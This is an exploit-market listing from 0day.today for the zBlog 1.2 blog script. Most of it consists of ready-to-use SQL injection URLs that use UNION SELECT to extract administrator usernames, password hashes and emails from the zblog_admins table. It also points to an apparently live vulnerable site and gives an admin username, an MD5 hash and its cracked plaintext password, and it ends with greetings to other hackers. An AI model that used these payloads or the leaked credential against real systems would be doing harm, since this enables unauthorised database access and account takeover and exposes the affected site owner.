[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

zBlog 1.2 Remote SQL Injection Vulnerability

Author
Houssamix
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2389
Category
web applications
Date add
22-12-2007
Platform
unsorted
============================================
zBlog 1.2 Remote SQL Injection Vulnerability
============================================



#########################################################################
            zBlog v1.2  Remote SQL Injection Exploit
#########################################################################


## AUTHOR     : H-T Team ( HouSSamix _ ToXiC350 _ CoNaN )

## Script         : zBlog
## Version    : 1.2 
## Site         : http://kaxz01.free.fr/
## Download    : http://kaxz01.free.fr/fichiers/zBlog.zip

## EXPLOITS :

[1]
http://server.com/Path/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20[table prefix]_admins--
[2]
http://server.com/Path/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20[table prefix]_admins--

[table prefix] = by default it is zblog

ex : http://Site.com/zBlog/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--

## Note
admin login is at /admin/

## GREETZ  :  RoMaNcYxHaCkEr , Mahmood_Ali , C_m  and all musulmans hackers

#########################################################################
            zBlog v1.2 Remote SQL Injection Exploit
#########################################################################

exemple of site vulnerable

http://www.xxx.org/zblog/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20zblog_admins--


account admin with password md5 cracked

user >> Selim
pass >> 6a81060b83b919bc115112bf840eca63 = miles



#  0day.today [2024-12-25]  #